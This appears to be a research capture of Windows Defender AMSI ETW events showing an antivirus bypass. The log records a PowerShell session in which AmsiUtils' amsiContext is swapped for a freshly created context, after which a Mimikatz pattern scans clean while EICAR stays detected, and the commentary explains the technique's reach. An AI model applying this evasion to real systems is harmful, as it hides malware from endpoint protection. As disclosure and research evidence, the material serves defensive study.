# Defender's own ETW event-1101 across the shedskin boundary # Captured 2026-10-29 on win11 26200.8037, Defender sig 1.459.576.0, engine 1.1.26080.3 # Provider GUID {2A576B87-09A7-520E-C21A-4942F0271D67} (Microsoft-Antimalware-Scan-Interface) # logman trace -> tracerpt XML, parsed field-by-field # # All scans in one powershell.exe process (PID 4280). Same payload bytes # scanned through [AmsiUtils]::amsiContext before and after shedskin. pre_mimikatz_via_psCtx result=32768 DETECTED (via [AmsiUtils]::amsiContext=0x276b98df520, SMA's real PS context, appname=PowerShell__) pre_eicar_via_psCtx result=32768 DETECTED (oracle, same context) AmsiInitialize('x') -> newCtx=0x276b9bc5e80 Field-write: [AmsiUtils]::amsiContext = 0x276b9bc5e80 (now the x context) post_mimikatz_via_newCtx result=1 CLEAN (same bytes, same PID, now through swapped context) post_eicar_via_newCtx result=32768 DETECTED (universal sig fires through swapped context too) # Defender's OWN ETW provider confirmed BOTH the bypass AND the scope ceiling: # 2026-10-29T16:35:51.736 Id=1101 appname='x' scanResult=1 size=55 (post_mimikatz_via_newCtx) # 2026-10-29T16:35:51.744 Id=1101 appname='x' scanResult=32768 size=68 (post_eicar_via_newCtx) # The appname field now reads 'x' instead of 'PowerShell_...' because the # AMSI_CONTEXT the second scan went through was minted with that appname. # Defender logs the appname AS STORED IN THE CONTEXT STRUCT, which is why the # ETW evidence tracks the field-write exactly. # What this proves: # 1) The bypass is real end-to-end for the PS-pack-exclusive sig: same bytes, # same PID, pre reads 32768 and post reads 1. Not a probe-side artifact. # 2) EICAR through the same swapped context reads 32768. That is the scope # ceiling IN THE SAME CAPTURE: the Mimikatz pattern lives in the PS pack # and routing moves it; EICAR lives in every pack and routing cannot move # it. # 3) Defender's own ETW provider (not our probe) emits scanResult=1 on the # Mimikatz-pattern post-shedskin. The event-1101 record is Defender logging # its own verdict. sig=1.459.576.0 engine=1.1.26080.3 build=10.0.26200 process_id=4280